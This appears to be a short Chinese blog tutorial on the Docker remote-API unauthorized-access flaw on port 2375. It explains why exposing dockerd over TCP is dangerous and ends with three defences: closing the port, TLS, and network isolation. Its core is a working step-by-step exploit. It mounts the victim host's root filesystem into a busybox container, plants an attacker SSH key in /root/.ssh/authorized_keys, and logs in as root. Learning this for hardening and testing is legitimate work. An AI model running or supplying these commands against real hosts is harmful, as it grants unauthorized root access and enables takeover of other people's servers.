简介
上次说了redis的未经授权访问漏洞去获取主机权限,但是那个成功率试过的人都知道,不高,现在说下docker的
关于docker的一些基础
大家都知道docker是c/s架构的,所以docker的server端就是docker daemon,一般来说默认docker使用unix socket去连接他的daemon,但是如果你想远程去访问docker daemon的话那就需要使用tcp socket的方式去连接docker daemon,也就是网上常说的,在dockerd启动的时候加上参数-H tcp://0.0.0.0:2375
这样你就可以在本地直接访问docker -H 你的主机ip ps -a
,因为你可以在本地访问,所以别人也可以在他的本地访问,只要没有网络上的隔离,这个时候就产生了未经授权访问漏洞
漏洞利用
首先找到一台开了2375端口的主机,之后生成一个ssh秘钥
ssh-keygen
接着在远程主机上启动一个容器
docker -H 被攻击主机ip run --cap-add LINUX_IMMUTABLE -it -v /:/data busybox sh
之后在下面的文件中把你的公钥写入进去
vi /data/root/.ssh/authorized_keys
这样你就可以直接登录这台机器了
ssh root@被攻击主机ip
漏洞预防
三种方式
-
不开端口
-
使用tls验证访问
-
在网络上做到隔离
欢迎关注我的博客www.bboy.app
Have Fun